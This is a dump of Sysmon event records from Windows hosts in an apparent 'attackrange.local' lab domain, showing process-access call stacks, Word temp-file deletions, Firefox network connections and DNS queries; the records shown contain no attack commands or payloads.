14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016370Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016369Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016368Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016367Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016366Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016365Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016364Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016363Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016362Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7298-613B-F804-00000000F101}3516C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016361Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.253{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7298-613B-F804-00000000F101}3516C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016360Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:32.254{625C326B-7298-613B-F804-00000000F101}3516C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016391Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:33.800{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7214D09EBB317453149731FBBF41A603,SHA256=3D10EE3198A5548E5FF3A81E69A1F91AC9BC28E582F0A0ADBEE24822AAA05C72,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.977{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000051190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.947{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.947{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.946{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.946{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+313dfc|C:\Program Files\Mozilla Firefox\xul.dll+faff25|C:\Program Files\Mozilla Firefox\xul.dll+bfb6f4|C:\Program Files\Mozilla Firefox\xul.dll+3136cd|C:\Program Files\Mozilla Firefox\xul.dll+399c9b|C:\Program Files\Mozilla Firefox\xul.dll+39949d|C:\Program Files\Mozilla Firefox\xul.dll+be61ca|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173 23542300x800000000000000051186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.932{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7D31.tmpMD5=8867BDF5FC754DA9DA6F5BA341334595,SHA256=42323DD1D3E88C3207E16E0C95CA1048F2E4CD66183AD23B90171DA381D37B58,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.902{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7D1A.tmpMD5=F256ACA509B4C6C0144D278C7036B0A8,SHA256=AD26761D59F1FA9783C2F49184A2E8FE55FCD46CD3C49FFC099C02310649DC67,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.190{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59538-false2.16.218.50a2-16-218-50.deploy.static.akamaitechnologies.com443https 354300x800000000000000051183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.166{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59150- 354300x800000000000000051182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.139{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59537-false13.107.246.45-443https 354300x800000000000000051181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.103{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59536-false13.107.246.45-443https 354300x800000000000000051180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.088{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56450- 354300x800000000000000051179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.087{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56949- 354300x800000000000000051178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.087{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59535-false140.82.121.3lb-140-82-121-3-fra.github.com443https 354300x800000000000000051177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.087{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59533-false140.82.121.3lb-140-82-121-3-fra.github.com443https 354300x800000000000000051176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.086{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59534-false140.82.121.3lb-140-82-121-3-fra.github.com443https 354300x800000000000000051175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.085{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59532-false140.82.121.3lb-140-82-121-3-fra.github.com443https 354300x800000000000000051174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.083{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58373- 354300x800000000000000051173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.078{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52993- 354300x800000000000000051172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.074{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58988- 354300x800000000000000051171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.959{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59531-false23.45.97.32a23-45-97-32.deploy.static.akamaitechnologies.com443https 354300x800000000000000051170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.958{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55982- 354300x800000000000000051169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.955{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61617- 23542300x800000000000000051168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.897{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7D30.tmpMD5=53C5F45B22E133B28D4BD3B5A350FDBD,SHA256=8AF4C7CAC47D2B9C7ADEADF276EDAE830B4CC5FFE7E765E3C3D7B3FADCB5F273,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.895{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CCB.tmpMD5=749C3615E54C8E6875518CFD84E5A1B2,SHA256=F2D2DF37366F8E49106980377D2448080879027C380D90D5A25DA3BDAD771F8C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:33.892{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\ADMINI~1\AppData\Local\Temp\cab7CF3.tmpMD5=BF95E967E7D1CEC8EFE426BC0127D3DE,SHA256=4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000051165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.796{7BD73061-728D-613B-560B-00000000F001}4776js.monitor.azure.com0type: 5 aijscdn2.azureedge.net;type: 5 aijscdn2.afd.azureedge.net;type: 5 firstparty-azurefd-prod.trafficmanager.net;type: 5 dual.part-0017.t-0009.t-msedge.net;type: 5 part-0017.t-0009.t-msedge.net;::ffff:13.107.246.45;::ffff:13.107.213.45;C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.787{7BD73061-728D-613B-560B-00000000F001}4776part-0017.t-0009.t-msedge.net02620:1ec:46::45;2620:1ec:bdf::45;C:\Program Files\Mozilla Firefox\firefox.exe 